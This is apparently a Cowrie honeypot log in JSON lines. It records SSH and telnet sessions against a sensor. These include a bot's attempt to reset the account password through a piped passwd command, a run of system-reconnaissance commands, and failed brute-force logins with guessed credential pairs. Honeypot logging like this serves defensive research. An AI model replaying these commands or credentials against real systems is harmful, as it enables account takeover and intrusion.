{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:05:02.684604Z","src_ip":"76.79.213.69","session":"2f4c06e191a5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"botpassword\\n4NqdzmyR2SLB\\n4NqdzmyR2SLB\"|passwd|bash","message":"CMD: echo -e \"botpassword\\n4NqdzmyR2SLB\\n4NqdzmyR2SLB\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:05:02.690214Z","src_ip":"76.79.213.69","session":"2f4c06e191a5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:05:02.694917Z","src_ip":"76.79.213.69","session":"2f4c06e191a5","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:05:02.698256Z","src_ip":"76.79.213.69","session":"2f4c06e191a5","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/b167d433ef35e0a7bf2e6dada98e437fbaf773e6c7ccbe0ad29455bab9b6162d","size":32,"shasum":"b167d433ef35e0a7bf2e6dada98e437fbaf773e6c7ccbe0ad29455bab9b6162d","duplicate":false,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/b167d433ef35e0a7bf2e6dada98e437fbaf773e6c7ccbe0ad29455bab9b6162d after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:05:02.951684Z","src_ip":"76.79.213.69","session":"2f4c06e191a5","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:05:03.134711Z","src_ip":"76.79.213.69","session":"2f4c06e191a5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"botpassword\\n4NqdzmyR2SLB\\n4NqdzmyR2SLB\\n\"|passwd","message":"CMD: echo \"botpassword\\n4NqdzmyR2SLB\\n4NqdzmyR2SLB\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:05:03.138672Z","src_ip":"76.79.213.69","session":"2f4c06e191a5","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a1689c3174bed96335ca26871b50b899ca49117af1e7a51cd9afa36e05601eae","size":25,"shasum":"a1689c3174bed96335ca26871b50b899ca49117af1e7a51cd9afa36e05601eae","duplicate":false,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/a1689c3174bed96335ca26871b50b899ca49117af1e7a51cd9afa36e05601eae after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:05:03.385137Z","src_ip":"76.79.213.69","session":"2f4c06e191a5","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:05:03.631361Z","src_ip":"76.79.213.69","session":"2f4c06e191a5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:05:03.637673Z","src_ip":"76.79.213.69","session":"2f4c06e191a5","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:05:03.888810Z","src_ip":"76.79.213.69","session":"2f4c06e191a5","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:05:04.085591Z","src_ip":"76.79.213.69","session":"2f4c06e191a5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:05:04.088988Z","src_ip":"76.79.213.69","session":"2f4c06e191a5","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":27,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:05:04.336494Z","src_ip":"76.79.213.69","session":"2f4c06e191a5","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:05:04.514480Z","src_ip":"76.79.213.69","session":"2f4c06e191a5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:05:04.518018Z","src_ip":"76.79.213.69","session":"2f4c06e191a5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:05:04.522950Z","src_ip":"76.79.213.69","session":"2f4c06e191a5","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":65,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:05:04.783680Z","src_ip":"76.79.213.69","session":"2f4c06e191a5","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:05:04.994961Z","src_ip":"76.79.213.69","session":"2f4c06e191a5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:05:05.000448Z","src_ip":"76.79.213.69","session":"2f4c06e191a5","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":19,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:05:05.265009Z","src_ip":"76.79.213.69","session":"2f4c06e191a5","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:05:05.464371Z","src_ip":"76.79.213.69","session":"2f4c06e191a5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:05:05.467979Z","src_ip":"76.79.213.69","session":"2f4c06e191a5","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":204,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:05:05.729553Z","src_ip":"76.79.213.69","session":"2f4c06e191a5","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:05:05.917857Z","src_ip":"76.79.213.69","session":"2f4c06e191a5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:05:05.922272Z","src_ip":"76.79.213.69","session":"2f4c06e191a5","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:05:06.171689Z","src_ip":"76.79.213.69","session":"2f4c06e191a5","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:05:06.364489Z","src_ip":"76.79.213.69","session":"2f4c06e191a5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:05:06.367966Z","src_ip":"76.79.213.69","session":"2f4c06e191a5","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:05:06.615277Z","src_ip":"76.79.213.69","session":"2f4c06e191a5","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:05:06.836538Z","src_ip":"76.79.213.69","session":"2f4c06e191a5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:05:06.850168Z","src_ip":"76.79.213.69","session":"2f4c06e191a5","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:05:07.101540Z","src_ip":"76.79.213.69","session":"2f4c06e191a5","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:05:07.289618Z","src_ip":"76.79.213.69","session":"2f4c06e191a5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:05:07.292750Z","src_ip":"76.79.213.69","session":"2f4c06e191a5","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:05:07.539948Z","src_ip":"76.79.213.69","session":"2f4c06e191a5","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:05:07.740804Z","src_ip":"76.79.213.69","session":"2f4c06e191a5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:05:07.744812Z","src_ip":"76.79.213.69","session":"2f4c06e191a5","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:05:07.991901Z","src_ip":"76.79.213.69","session":"2f4c06e191a5","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:05:08.172677Z","src_ip":"76.79.213.69","session":"2f4c06e191a5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:05:08.176240Z","src_ip":"76.79.213.69","session":"2f4c06e191a5","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":4,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:05:08.432028Z","src_ip":"76.79.213.69","session":"2f4c06e191a5","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:05:08.636350Z","src_ip":"76.79.213.69","session":"2f4c06e191a5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:05:08.639641Z","src_ip":"76.79.213.69","session":"2f4c06e191a5","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:05:08.887622Z","src_ip":"76.79.213.69","session":"2f4c06e191a5","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:05:09.072829Z","src_ip":"76.79.213.69","session":"2f4c06e191a5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:05:09.082594Z","src_ip":"76.79.213.69","session":"2f4c06e191a5","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":66,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:05:09.212704Z","src_ip":"76.79.213.69","session":"2f4c06e191a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.6","message":"Connection lost after 12.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:05:09.219863Z","src_ip":"76.79.213.69","session":"2f4c06e191a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.63.196.175","src_port":53738,"dst_ip":"10.17.0.5","dst_port":22,"session":"db10c5ebf190","protocol":"ssh","message":"New connection: 14.63.196.175:53738 (10.17.0.5:22) [session: db10c5ebf190]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:05:17.113861Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:05:17.119422Z","src_ip":"14.63.196.175","session":"db10c5ebf190","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:05:17.325518Z","src_ip":"14.63.196.175","session":"db10c5ebf190","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456.w","message":"login attempt [root/123456.w] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:05:18.185756Z","src_ip":"14.63.196.175","session":"db10c5ebf190","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:05:19.395699Z","src_ip":"14.63.196.175","session":"db10c5ebf190","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.64097189903259,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:05:21.013083Z","src_ip":"172.81.62.90","session":"c7fe697bcd5e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.16057205200195,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:05:26.558027Z","src_ip":"172.81.62.90","session":"6e7087b34767","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.524545192718506,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:05:27.165907Z","src_ip":"172.81.62.90","session":"84682fd8af45","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.104400873184204,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:05:36.919360Z","src_ip":"172.81.62.90","session":"2ba5e9280131","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"76.79.213.69","src_port":39282,"dst_ip":"10.17.0.5","dst_port":22,"session":"748c455a1aac","protocol":"ssh","message":"New connection: 76.79.213.69:39282 (10.17.0.5:22) [session: 748c455a1aac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:07:06.310411Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:07:06.315686Z","src_ip":"76.79.213.69","session":"748c455a1aac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:07:06.438034Z","src_ip":"76.79.213.69","session":"748c455a1aac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Passw0rd!","message":"login attempt [admin/Passw0rd!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:07:06.958232Z","src_ip":"76.79.213.69","session":"748c455a1aac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:07:08.083741Z","src_ip":"76.79.213.69","session":"748c455a1aac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":48040,"dst_ip":"10.17.0.5","dst_port":22,"session":"788a00d65427","protocol":"ssh","message":"New connection: 27.71.230.31:48040 (10.17.0.5:22) [session: 788a00d65427]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T16:07:43.848800Z"}
